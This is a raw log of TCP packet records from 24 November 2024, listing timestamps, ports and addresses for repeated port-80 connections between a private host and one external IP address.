Nov 24, 2024 12:07:29.941418886 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941554070 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941582918 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941632986 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941684961 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941776991 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941845894 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941898108 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.941926003 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942037106 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942066908 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942097902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942126036 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942176104 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942208052 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942307949 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942337036 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942445993 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942475080 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942507029 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942606926 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942704916 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942759991 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942882061 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942909002 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942943096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.942994118 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943111897 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943139076 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943188906 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943217039 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943357944 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943384886 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943434954 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943461895 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943517923 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943546057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943578005 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943629026 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943660975 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943794966 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943823099 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943850040 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943916082 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943943977 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.943975925 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944026947 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944052935 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944082975 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944137096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944166899 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944267035 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944293976 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944387913 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944416046 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944467068 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944494963 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944528103 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944636106 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944669008 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944716930 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944770098 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944839954 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944875002 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944901943 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944960117 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.944989920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945128918 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945156097 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945257902 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945310116 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945359945 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945386887 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945420027 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945468903 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945501089 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945552111 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945647001 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945697069 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945812941 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945868969 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945934057 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.945983887 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946131945 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946182966 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946280003 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946331978 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946377039 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946425915 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946542978 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946592093 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946747065 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946773052 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946822882 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946850061 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946901083 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.946927071 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947031021 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947058916 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947134972 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947189093 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947216988 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947268009 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947297096 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947351933 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947402000 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947429895 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947455883 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947488070 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947582960 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947611094 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947659969 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947686911 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947738886 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947766066 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947884083 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947911978 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947948933 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.947974920 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948085070 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948112011 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948143959 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948194027 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948252916 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948362112 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948390007 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:29.948421955 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:30.913765907 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:30.913875103 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:30.976016998 CET	80	50081	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:30.976655006 CET	50081	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.036673069 CET	50082	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.096750021 CET	80	50081	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:31.096813917 CET	50081	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.104983091 CET	50083	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.156397104 CET	80	50082	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:31.156491995 CET	50082	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.156582117 CET	50082	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.224720955 CET	80	50083	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:31.224785089 CET	50083	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.224884033 CET	50083	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:31.276103973 CET	80	50082	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:31.344676018 CET	80	50083	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.489780903 CET	80	50083	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.490372896 CET	50083	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.508452892 CET	80	50082	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.509093046 CET	50082	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.569773912 CET	50084	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.611144066 CET	80	50083	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.611231089 CET	50083	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.629076004 CET	80	50082	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.629131079 CET	50082	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.689405918 CET	80	50084	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.689482927 CET	50084	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.689677000 CET	50084	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:32.809715033 CET	80	50084	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:32.886512995 CET	50085	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:33.006268024 CET	80	50085	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:33.006396055 CET	50085	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:33.006464005 CET	50085	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:33.125979900 CET	80	50085	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.084306955 CET	80	50084	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.084784985 CET	50084	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.184716940 CET	50086	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.205269098 CET	80	50084	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.205324888 CET	50084	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.304414988 CET	80	50086	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.304564953 CET	50086	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.304775953 CET	50086	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.308212042 CET	80	50085	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.309497118 CET	50085	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.379363060 CET	50087	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.424312115 CET	80	50086	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.429485083 CET	80	50085	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.429548025 CET	50085	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.499097109 CET	80	50087	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:34.499209881 CET	50087	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.500812054 CET	50087	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:34.620460987 CET	80	50087	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.673651934 CET	80	50086	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.674247980 CET	50086	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.734075069 CET	50088	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.774267912 CET	80	50087	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.774872065 CET	50087	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.794400930 CET	80	50086	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.794467926 CET	50086	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.853909016 CET	80	50088	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.854010105 CET	50088	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.854590893 CET	50088	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.894916058 CET	80	50087	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.895025969 CET	50087	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.897638083 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:35.897701979 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:35.974149942 CET	80	50088	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:36.122678041 CET	50089	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:36.242386103 CET	80	50089	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:36.242503881 CET	50089	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:36.242769957 CET	50089	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:36.362838030 CET	80	50089	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.161428928 CET	80	50088	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.165874004 CET	50088	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.286082983 CET	80	50088	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.288933039 CET	50088	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.325731993 CET	50090	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.445391893 CET	80	50090	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.448929071 CET	50090	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.449019909 CET	50090	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.503277063 CET	80	50089	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.504093885 CET	50089	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:37.568696976 CET	80	50090	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.624134064 CET	80	50089	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:37.624223948 CET	50089	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.144076109 CET	50091	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.263940096 CET	80	50091	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.264028072 CET	50091	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.264523029 CET	50091	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.384305000 CET	80	50091	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.762264967 CET	80	50090	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.764137030 CET	50090	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.783267021 CET	50080	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.783466101 CET	50092	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.884510994 CET	80	50090	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.886018038 CET	50090	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.902826071 CET	80	50080	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.903040886 CET	80	50092	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:38.903204918 CET	50092	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:38.903289080 CET	50092	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:39.023010015 CET	80	50092	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:39.572587013 CET	80	50091	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:39.576016903 CET	50091	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:39.696253061 CET	80	50091	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:39.696394920 CET	50091	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:39.960654974 CET	50093	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:40.080435991 CET	80	50093	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:40.080519915 CET	50093	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:40.080641985 CET	50093	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:40.200155973 CET	80	50093	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:40.264004946 CET	80	50092	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:40.264106989 CET	50092	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.395768881 CET	80	50093	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:41.396303892 CET	50093	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.483956099 CET	50094	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.516283035 CET	80	50093	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:41.516351938 CET	50093	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.603574991 CET	80	50094	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:41.603682995 CET	50094	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.603795052 CET	50094	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:41.723341942 CET	80	50094	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:42.956691027 CET	80	50094	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:42.957254887 CET	50094	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:43.023401022 CET	50095	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:43.077328920 CET	80	50094	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:43.077590942 CET	50094	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:43.143100023 CET	80	50095	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:43.143260002 CET	50095	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:43.143423080 CET	50095	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:43.263025999 CET	80	50095	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:44.452377081 CET	80	50095	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:44.454019070 CET	50095	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:44.496596098 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:44.574136019 CET	80	50095	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:44.574244976 CET	50095	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:44.616386890 CET	80	50096	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:44.616492033 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:44.616657019 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:44.736216068 CET	80	50096	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:45.275996923 CET	80	50092	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:45.276138067 CET	50092	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:45.934109926 CET	80	50096	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:45.934340000 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:46.320463896 CET	50097	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:46.440349102 CET	80	50097	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:46.440495014 CET	50097	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:46.440603018 CET	50097	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:46.560297012 CET	80	50097	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:47.755523920 CET	80	50097	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:47.756071091 CET	50097	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:47.822161913 CET	50098	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:47.876347065 CET	80	50097	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:47.876676083 CET	50097	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:47.941829920 CET	80	50098	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:47.941930056 CET	50098	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:47.944969893 CET	50098	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:48.064575911 CET	80	50098	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:49.258510113 CET	80	50098	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:49.259243011 CET	50098	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:49.354764938 CET	50099	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:49.379308939 CET	80	50098	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:49.379389048 CET	50098	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:49.474443913 CET	80	50099	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:49.474581957 CET	50099	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:49.474704981 CET	50099	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:49.597441912 CET	80	50099	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.828705072 CET	80	50099	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.829289913 CET	50099	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.839612007 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.840012074 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.936054945 CET	80	50096	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.936424017 CET	50096	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.949328899 CET	80	50099	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.949450016 CET	50099	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.959227085 CET	80	50096	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.959743977 CET	80	50100	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:50.959878922 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:50.960824013 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:51.080357075 CET	80	50100	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:52.320950985 CET	80	50100	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:52.321115017 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:52.684757948 CET	50101	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:52.804393053 CET	80	50101	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:52.804517031 CET	50101	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:52.804640055 CET	50101	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:52.925225973 CET	80	50101	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:54.155518055 CET	80	50101	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:54.156119108 CET	50101	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:54.219724894 CET	50102	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:54.276546955 CET	80	50101	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:54.276829004 CET	50101	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:54.339402914 CET	80	50102	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:54.339680910 CET	50102	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:54.339731932 CET	50102	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:54.459311008 CET	80	50102	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:55.645973921 CET	80	50102	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:55.646455050 CET	50102	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:55.728702068 CET	50103	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:55.766377926 CET	80	50102	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:55.766500950 CET	50102	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:55.848392010 CET	80	50103	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:55.848476887 CET	50103	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:55.850605965 CET	50103	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:55.970151901 CET	80	50103	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:57.150598049 CET	80	50103	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:57.151093960 CET	50103	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.185209036 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.185774088 CET	50104	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.277064085 CET	80	50103	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:57.277160883 CET	50103	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.305365086 CET	80	50100	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:57.305552006 CET	50100	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:57.305670023 CET	80	50104	178.215.224.74	192.168.2.5
